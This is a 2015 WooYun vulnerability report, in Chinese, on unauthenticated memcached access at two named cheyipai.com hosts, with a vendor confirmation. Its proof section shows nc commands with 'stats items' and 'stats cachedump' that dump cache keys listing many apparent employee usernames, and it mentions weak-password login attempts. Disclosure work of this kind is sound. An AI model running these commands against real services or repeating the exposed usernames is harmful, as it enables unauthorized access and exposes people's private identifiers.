当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112453

漏洞标题：车易拍某服务未授权访问导致可泄露大量用户敏感信息（用户名/密码等）

相关厂商：cheyipai.com

漏洞作者： 路人甲

提交时间：2015-05-06 16:15

修复时间：2015-06-21 17:40

公开时间：2015-06-21 17:40

漏洞类型：未授权访问/权限绕过

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-06： 细节已通知厂商并且等待厂商处理中
2015-05-07： 厂商已经确认，细节仅向厂商公开
2015-05-17： 细节向核心白帽子及相关领域专家公开
2015-05-27： 细节向普通白帽子公开
2015-06-06： 细节向实习白帽子公开
2015-06-21： 细节向公众公开

简要描述：

车易拍某服务未授权访问导致可泄露大量用户敏感信息（用户名/密码等）

详细说明：

memcached 未授权访问，泄露大量信息（包括用户名、密码）
imo.cheyipai.com 11211
mws.cheyipai.com 11211

1.png


2.png

漏洞证明：

root@kali:~# nc imo.cheyipai.com 11211
stats items
STAT items:1:number 145
STAT items:1:age 2509688
STAT items:1:evicted 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:2:number 7
STAT items:2:age 2428582
STAT items:2:evicted 0
STAT items:2:evicted_time 0
STAT items:2:outofmemory 0
STAT items:2:tailrepairs 0
STAT items:3:number 17
STAT items:3:age 2428582
STAT items:3:evicted 0
STAT items:3:evicted_time 0
STAT items:3:outofmemory 0
STAT items:3:tailrepairs 0
STAT items:4:number 1
STAT items:4:age 197317
STAT items:4:evicted 0
STAT items:4:evicted_time 0
STAT items:4:outofmemory 0
STAT items:4:tailrepairs 0
STAT items:5:number 2
STAT items:5:age 182177
STAT items:5:evicted 0
STAT items:5:evicted_time 0
STAT items:5:outofmemory 0
STAT items:5:tailrepairs 0
STAT items:6:number 38
STAT items:6:age 1125592
STAT items:6:evicted 0
STAT items:6:evicted_time 0
STAT items:6:outofmemory 0
STAT items:6:tailrepairs 0
STAT items:7:number 538
STAT items:7:age 2428581
STAT items:7:evicted 0
STAT items:7:evicted_time 0
STAT items:7:outofmemory 0
STAT items:7:tailrepairs 0
STAT items:8:number 154
STAT items:8:age 2442389
STAT items:8:evicted 0
STAT items:8:evicted_time 0
STAT items:8:outofmemory 0
STAT items:8:tailrepairs 0
STAT items:9:number 88
STAT items:9:age 1130506
STAT items:9:evicted 0
STAT items:9:evicted_time 0
STAT items:9:outofmemory 0
STAT items:9:tailrepairs 0
STAT items:10:number 67
STAT items:10:age 13166
STAT items:10:evicted 0
STAT items:10:evicted_time 0
STAT items:10:outofmemory 0
STAT items:10:tailrepairs 0
STAT items:11:number 61
STAT items:11:age 2248430
STAT items:11:evicted 0
STAT items:11:evicted_time 0
STAT items:11:outofmemory 0
STAT items:11:tailrepairs 0
STAT items:12:number 33
STAT items:12:age 1150775
STAT items:12:evicted 0
STAT items:12:evicted_time 0
STAT items:12:outofmemory 0
STAT items:12:tailrepairs 0
STAT items:13:number 23
STAT items:13:age 1916775
STAT items:13:evicted 0
STAT items:13:evicted_time 0
STAT items:13:outofmemory 0
STAT items:13:tailrepairs 0
STAT items:14:number 13
STAT items:14:age 2263251
STAT items:14:evicted 0
STAT items:14:evicted_time 0
STAT items:14:outofmemory 0
STAT items:14:tailrepairs 0
STAT items:15:number 11
STAT items:15:age 18198
STAT items:15:evicted 0
STAT items:15:evicted_time 0
STAT items:15:outofmemory 0
STAT items:15:tailrepairs 0
STAT items:16:number 6
STAT items:16:age 613883
STAT items:16:evicted 0
STAT items:16:evicted_time 0
STAT items:16:outofmemory 0
STAT items:16:tailrepairs 0
STAT items:17:number 8
STAT items:17:age 192412
STAT items:17:evicted 0
STAT items:17:evicted_time 0
STAT items:17:outofmemory 0
STAT items:17:tailrepairs 0
STAT items:18:number 6
STAT items:18:age 177903
STAT items:18:evicted 0
STAT items:18:evicted_time 0
STAT items:18:outofmemory 0
STAT items:18:tailrepairs 0
STAT items:19:number 3
STAT items:19:age 514387
STAT items:19:evicted 0
STAT items:19:evicted_time 0
STAT items:19:outofmemory 0
STAT items:19:tailrepairs 0
STAT items:20:number 2
STAT items:20:age 1220
STAT items:20:evicted 0
STAT items:20:evicted_time 0
STAT items:20:outofmemory 0
STAT items:20:tailrepairs 0
STAT items:21:number 2
STAT items:21:age 13163
STAT items:21:evicted 0
STAT items:21:evicted_time 0
STAT items:21:outofmemory 0
STAT items:21:tailrepairs 0
STAT items:23:number 1
STAT items:23:age 523812
STAT items:23:evicted 0
STAT items:23:evicted_time 0
STAT items:23:outofmemory 0
STAT items:23:tailrepairs 0
STAT items:24:number 1
STAT items:24:age 9257
STAT items:24:evicted 0
STAT items:24:evicted_time 0
STAT items:24:outofmemory 0
STAT items:24:tailrepairs 0
STAT items:28:number 1
STAT items:28:age 80
STAT items:28:evicted 0
STAT items:28:evicted_time 0
STAT items:28:outofmemory 0
STAT items:28:tailrepairs 0
STAT items:32:number 1
STAT items:32:age 1125573
STAT items:32:evicted 0
STAT items:32:evicted_time 0
STAT items:32:outofmemory 0
STAT items:32:tailrepairs 0
END
stats cachedump 1 0
ITEM api_110197_groupnum [2 b; 1430899071 s]
ITEM StructVersion_110197 [8 b; 1430899117 s]
ITEM Auth_93916183_zhujiaming [4 b; 1431061700 s]
ITEM UserId_zhujiaming_110197 [11 b; 1431061700 s]
ITEM CorpId_93916183 [13 b; 1431061700 s]
ITEM Auth_93916183_wangbinzhou [4 b; 1431063635 s]
ITEM UserId_wangciming_110197 [11 b; 1431251004 s]
ITEM placard_count_2124 [1 b; 1430922093 s]
ITEM UserId_lirenfei_110197 [11 b; 1431245851 s]
ITEM UserId_wangbinzhou_110197 [11 b; 1431063635 s]
ITEM Auth_93916183_yangchi [4 b; 1431065215 s]
ITEM UserId_yangchi_110197 [14 b; 1431065215 s]
ITEM UserId_zhangqiong_110197 [11 b; 1431162789 s]
ITEM placard_count_2747 [1 b; 1430838753 s]
ITEM UserId_wangyanli_110197 [14 b; 1431154304 s]
ITEM placard_count_2968 [1 b; 1430826745 s]
ITEM UserId_wangliming_110197 [11 b; 1431103945 s]
ITEM UserId_dengchao_110197 [11 b; 1431090843 s]
ITEM placard_count_1694 [1 b; 1430760323 s]
ITEM UserId_xugaojun_110197 [11 b; 1431084262 s]
ITEM Auth_93916183_budongshu [4 b; 1431076840 s]
ITEM UserId_budongshu_110197 [11 b; 1431076840 s]
ITEM UserId_wenjiashan_110197 [11 b; 1431071446 s]
ITEM placard_count_1112 [1 b; 1430740196 s]
ITEM UserId_changcheng_110197 [11 b; 1431064107 s]
ITEM placard_count_3087 [1 b; 1430593088 s]
ITEM UserId_wangwen_110197 [14 b; 1430747718 s]
ITEM UserId_yanghuiming_110197 [11 b; 1430735927 s]
ITEM Auth_93916183_wanyansaisai [4 b; 1430717282 s]
ITEM UserId_wanyansaisai_110197 [11 b; 1430545198 s]
ITEM placard_count_2127 [1 b; 1430393611 s]
ITEM UserId_lilun_110197 [11 b; 1430717552 s]
ITEM placard_count_2949 [1 b; 1430392213 s]
ITEM placard_count_3146 [1 b; 1430392051 s]
ITEM UserId_panhaiping_110197 [11 b; 1430655988 s]
ITEM UserId_weiguanqun_110197 [11 b; 1430653966 s]
ITEM UserId_chenghui_110197 [11 b; 1430647702 s]
ITEM placard_count_2896 [1 b; 1430309158 s]
ITEM placard_count_2937 [1 b; 1430304392 s]
ITEM UserId_wangzhisheng_110197 [11 b; 1430590403 s]
ITEM placard_count_2005 [1 b; 1430252501 s]
ITEM UserId_caozhenyan_110197 [11 b; 1430575472 s]
ITEM UserId_lichenglei_110197 [14 b; 1430567828 s]
ITEM UserId_shiyan_110197 [11 b; 1430565806 s]
ITEM UserId_dongyuwei_110197 [11 b; 1430560304 s]
ITEM UserId_maiyuping_110197 [11 b; 1430558958 s]
ITEM UserId_qianshuai1_110197 [11 b; 1430558356 s]
ITEM UserId_gaosong_110197 [11 b; 1430547410 s]
ITEM UserId_linsonghua_110197 [11 b; 1430502628 s]
ITEM placard_count_1545 [1 b; 1430178621 s]
ITEM UserId_liuguoyou_110197 [11 b; 1430487550 s]
ITEM UserId_liubin_110197 [11 b; 1430471708 s]
ITEM placard_count_2040 [1 b; 1430147703 s]
ITEM placard_count_1389 [1 b; 1430144320 s]
ITEM UserId_yanna_110197 [11 b; 1430462192 s]
ITEM placard_count_1640 [1 b; 1430134794 s]
ITEM placard_count_2615124 [1 b; 1430066767 s]
ITEM placard_count_2350 [1 b; 1430062543 s]
ITEM UserId_zhanzhengxin_110197 [11 b; 1430384532 s]
ITEM placard_count_2258 [1 b; 1430053116 s]
ITEM UserId_zhoukai_110197 [11 b; 1430284026 s]
ITEM UserId_liuchengxing_110197 [11 b; 1430222614 s]
ITEM UserId_gaoyanlei_110197 [11 b; 1430218560 s]
ITEM UserId_wangyifeng_110197 [11 b; 1430208668 s]
ITEM UserId_chengyijie_110197 [11 b; 1430136377 s]
ITEM Auth_93916183_liufengyuan [4 b; 1429962237 s]
ITEM UserId_liufengyuan_110197 [11 b; 1429962237 s]
ITEM UserId_zhangxuxian_110197 [11 b; 1430131418 s]
ITEM placard_count_2808 [1 b; 1429806255 s]
ITEM placard_count_2869 [1 b; 1429802540 s]
ITEM UserId_zhailinyan_110197 [11 b; 1430121703 s]
ITEM placard_count_2878417 [1 b; 1429797598 s]
ITEM UserId_liujian_110197 [11 b; 1430118625 s]
ITEM placard_count_2938 [1 b; 1429787575 s]
ITEM UserId_zhengwen_110197 [11 b; 1430049427 s]
ITEM UserId_wangjiang_110197 [11 b; 1430029923 s]
ITEM placard_count_2927 [1 b; 1429705916 s]
ITEM UserId_luzhaoqi_110197 [11 b; 1429973166 s]
ITEM UserId_xueliran_110197 [11 b; 1429956138 s]
ITEM placard_count_1525 [1 b; 1429628826 s]
ITEM placard_count_1693 [1 b; 1429613854 s]
ITEM placard_count_2936 [1 b; 1429558609 s]
ITEM placard_count_3063 [1 b; 1429550949 s]
ITEM UserId_suzhiqiang_110197 [11 b; 1429874928 s]
ITEM UserId_caolei1_110197 [11 b; 1429872588 s]
ITEM UserId_wangfengjiao_110197 [11 b; 1429868859 s]
ITEM placard_count_2562 [1 b; 1429540389 s]
ITEM UserId_chuxiaoqi_110197 [11 b; 1429862068 s]
ITEM UserId_tianyanyan_110197 [11 b; 1429861363 s]
ITEM placard_count_1272 [1 b; 1429536118 s]
ITEM UserId_yangrui_110197 [11 b; 1429856535 s]
ITEM UserId_luyi1_110197 [11 b; 1429708142 s]
ITEM UserId_caojunwei_110197 [14 b; 1429688745 s]
ITEM placard_count_3007 [1 b; 1429360960 s]
ITEM UserId_suncheng_110197 [11 b; 1429681538 s]
ITEM UserId_zhulijuan_110197 [11 b; 1429634809 s]
ITEM placard_count_1288 [1 b; 1429298816 s]
ITEM UserId_longzhouhong_110197 [11 b; 1429610133 s]
ITEM placard_count_2710 [1 b; 1429286115 s]
ITEM UserId_aixuan_110197 [11 b; 1429600969 s]
ITEM UserId_liuwang_110197 [11 b; 1429590771 s]
ITEM placard_count_2621 [1 b; 1429224658 s]
ITEM UserId_chaishuntao_110197 [11 b; 1429531696 s]
ITEM UserId_sunjing_110197 [11 b; 1429528990 s]
ITEM UserId_songjianwei_110197 [11 b; 1429525114 s]
ITEM placard_count_2788 [1 b; 1429196566 s]
ITEM placard_count_2138 [1 b; 1429184192 s]
ITEM UserId_limingxi_110197 [11 b; 1429448299 s]
ITEM placard_count_2970 [1 b; 1429113986 s]
ITEM placard_count_2934 [1 b; 1429112258 s]
ITEM UserId_lijiabin_110197 [11 b; 1429433052 s]
ITEM placard_count_2822 [1 b; 1429105999 s]
ITEM placard_count_2875 [1 b; 1429105901 s]
ITEM placard_count_2185 [1 b; 1429105875 s]
ITEM placard_count_2636 [1 b; 1429105755 s]
ITEM placard_count_2004 [1 b; 1429105598 s]
ITEM placard_count_4562286 [1 b; 1429105584 s]
ITEM placard_count_2779 [1 b; 1429105582 s]
ITEM placard_count_2931 [1 b; 1429105562 s]
ITEM placard_count_2660 [1 b; 1429105555 s]
ITEM placard_count_2212 [1 b; 1429105536 s]
ITEM UserId_gaoqiang_110197 [11 b; 1429428534 s]
ITEM UserId_zhengzesen_110197 [11 b; 1429355317 s]
ITEM placard_count_1269 [1 b; 1429017927 s]
ITEM UserId_cheyangyang_110197 [11 b; 1429336110 s]
ITEM UserId_zenghui_110197 [11 b; 1429336045 s]
ITEM placard_count_2391 [1 b; 1428957591 s]
ITEM placard_count_1013 [1 b; 1428949438 s]
ITEM UserId_huping_110197 [11 b; 1429269205 s]
ITEM UserId_yangshengwei_110197 [11 b; 1429265512 s]
ITEM placard_count_2715 [1 b; 1428863863 s]
ITEM UserId_jinqiai_110197 [11 b; 1429036579 s]
ITEM placard_count_3005 [1 b; 1428712559 s]
ITEM UserId_dongxinxin_110197 [14 b; 1429018788 s]
ITEM UserId_zhonglidan_110197 [11 b; 1428994957 s]
ITEM UserId_lixincheng_110197 [11 b; 1428987340 s]
ITEM placard_count_2980 [1 b; 1428518990 s]
ITEM UserId_lusiyuan_110197 [14 b; 1428836902 s]
ITEM placard_count_3028720 [1 b; 1428510297 s]
ITEM UserId_yuyang_110197 [11 b; 1428832110 s]
ITEM Auth_93916183_zhangcaihong [4 b; 1428830435 s]
ITEM UserId_donglihao_110197 [11 b; 1428823155 s]
ITEM placard_count_1814 [1 b; 1428432532 s]
ITEM UserId_wangyilin_110197 [11 b; 1428752740 s]
ITEM placard_count_1747 [1 b; 1428425329 s]
END


尝试弱口令登陆

c1.jpg


c2.jpg


修复方案：

做访问控制

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-05-07 17:39

厂商回复：

感谢关注并提交漏洞，已安排修复

最新状态：

暂无